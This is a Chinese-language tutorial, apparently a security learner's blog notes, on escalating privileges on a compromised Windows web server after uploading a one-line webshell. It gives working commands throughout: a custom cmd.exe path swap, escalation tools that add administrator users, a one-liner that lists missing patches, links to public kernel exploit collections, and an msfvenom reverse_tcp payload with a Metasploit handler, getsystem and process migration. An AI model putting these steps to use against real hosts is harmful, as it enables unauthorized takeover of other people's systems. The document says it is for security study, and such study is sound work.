提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


windows提权

1.拒绝访问

一句话木马上传后菜刀连接,在菜刀获取的webshell中打开终端来执行指令,拒绝访问
在这里插入图片描述

这就是因为网站的权限是IUSER权限,我们通过这样的权限渗透进去
获取的终端就是这个权限,而我们通过终端执行指令,其实就是在调用目标主机的cmd.exe程序来执行 指令,那么接下来我们看看,
cmd.exe这个程序在哪里,并且它的权限是什么。

2.查看cmd.exe权限

查看到目标虚拟机
在这里插入图片描述

在这里插入图片描述

cmd.exe的权限中并没有IUSER,所以这就是导致我们不能执行指令的原因,所以我们要怎么办,想办
法让自己能够执行指令,并且提升为管理员,才能通过终端彻底控制目标主机。

3.提权

1.获取cmd

找到一个我们自己的虚拟机,要和目标主机的系统版本一致,然后将虚拟机中的cmd.exe拿出 来,或者可以直接copy目标系统中的cmd.exe文件
在这里插入图片描述

复制到自己的电脑桌面
在这里插入图片描述
上传到被目标电脑

找一找我们获取到的目标主机中哪个目录有读写权限,然后将cmd.exe放到该目录下,读写权
限的目的就是我们可以将文件放进去,不然不能放,就是对目标中的目录和文件挨个的尝试。比如我们 找到了一个目录,就是这个网站的根目录

在这里插入图片描述

2.设置cmd路径

在菜刀终端执行指令

setp C:\www.test\cmd.exe

在这里插入图片描述

3.再来尝试执行命令

在这里插入图片描述

发现继续执行之前的指令,可以执行了,这是因为上面的指令的意思是,终端使用我们指定目录下的
cmd.exe控制程序,而我们现在上传过来的cmd.exe是IUSER可以操作的,有这个IUSER权限。

但是执行whoami之后,我们发现我们是network service用户,该用户也是个普通用户权限,虽然可以
执行一些简单的指令,但是一些高级指令,比如net user 123 123 /add添加用户这样的指令就执行
不了,所以还是需要继续提权。

4.接着提权

1.上传debug.exe

将提权工具上传目标机器
在这里插入图片描述

2.执行debug.exe

然后在连接终端直接执行 debug.exe
在这里插入图片描述

自动创建了一个temp用户,并且加入到了管理员组。

这样是创建了一个固定的用户

3.远程连接

在这里插入图片描述

5.使用其他提权工具

1.使用pr.exe 创建指定的用户名

上传
在这里插入图片描述
执行

 pr.exe "net uesr 123 123 /add"

在这里插入图片描述
增加用户完成
在这里插入图片描述

2.利用exp提权

1.检测未 打补丁

网址:

https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/securitybulletins2017

这里面有漏洞编号、影响版本等信息。
快速查找未打补丁的 exp,可以最安全的减少目标机的未知错误,以免影响业务。 命令行下执行检测未 打补丁的命令如下:

systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i" || @echo %i you canfuck)&del /f /q /a micropoor.txt

在这里插入图片描述
利用编号查询漏洞利用过程
比如KB2592799

然后在网上找一下利用过程或者直接找利用程序, GitHub上有好多别人整理好的漏洞利用程序,下载下 来直接使用即可,其中就有提权的。

已对外公开exp注:
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalation
在这里插入图片描述
下载上传程序
在这里插入图片描述

3.sc命令提权(鸡肋,需要管理员权限才能执行)

针对版本windows 7、8、03、08、 12、 16

SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板” 中“管理工具” 项中的“服务”。

sc Create syscmd binPath= "cmd /K start" type= own type= interact

启动程序

sc start syscmd

在这里插入图片描述

sc 命令需要管理员权限才能执行,所以很鸡肋

4.msf提权-kali提权

利用MS16-016进行meterprter提权。

在WEB渗透中当我们拿到webshell了,我们可以试试用MSF(metasploit)来进行提权,在MSF里meterpreter很强大的!我们先用msfvenom生成一个EXE的木马后门。
msfvenom是kali中生成木马的 指令。下面的指令使用的时候,注意修改一下LHOST参数的值,这是攻击者的主机的ip地址

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.79.131 LPORT=4444 -f exe > abc.exe

在这里插入图片描述
将生成的木马abc.exe放到目标主机
在这里插入图片描述
然后在kali中进入msf,执行如下指令:

进入 msf:cd /usr/share/metasploit-framework/

启动msf:msfconsole

选择监听模块:use exploit/multi/handler

设置参数:set payload windows/meterpreter/reverse_tcp

设置监听IP(注意IP地址是本地kali机器的IP地址):set lhost 10.0.0.41

设置监听端口:set lport 4444

开始监听:run

在这里插入图片描述
然后去目标主机windows2003中双击运行一下abc.exe

就会发现kali中有连接建立了
在这里插入图片描述
在这里插入图片描述
这是当前用户
在这里插入图片描述

通过getsystem指令就能提权。
在这里插入图片描述
在这里插入图片描述

这是直接在目标主机的桌面直接双击执行的木马文件abc.exe,那我想拿到webshell,通过菜刀做的一系列操作,怎么直接去桌面执行文件了呢?

getsystem只能在administrator用户权限才能执行成功

而菜刀连接的权限是IUser用户,直接执行getsystem无法成功

5.msf提权-kali提权(结合菜刀)

重新把abc.exe通过菜刀上传
在这里插入图片描述
通过虚拟终端执行abc.exe
在这里插入图片描述

重新连接,看看用户
在这里插入图片描述
现在是network service,并不是``administrator`

执行getsystem
在这里插入图片描述
发现明显报错了
在这里插入图片描述

可以看到并没有成功

6.迁移进程

可以通过迁移进程的方式来获取某个进程的用户权限,比如执行ps指令看看进程

在这里插入图片描述
在这里插入图片描述

会看到目标主机上其实有些进程是以system或者administrator的用户身份来运行的。那么我们就可
以通过migrate命令迁移到指定的一个进程ID上去进行提取

指令: ``migrate 进程ID号

migrate 3940

在这里插入图片描述
这时候进入shell就已经是system权限了

当然这个也是只能在administrator下去玩的

7.总结

windows提权最好用的还是找exp工具,可以去GitHub上面搜索提权,就会搜到一堆利用工具
在这里插入图片描述
本文主要记录网安学习,维护网络安全靠大家

更多推荐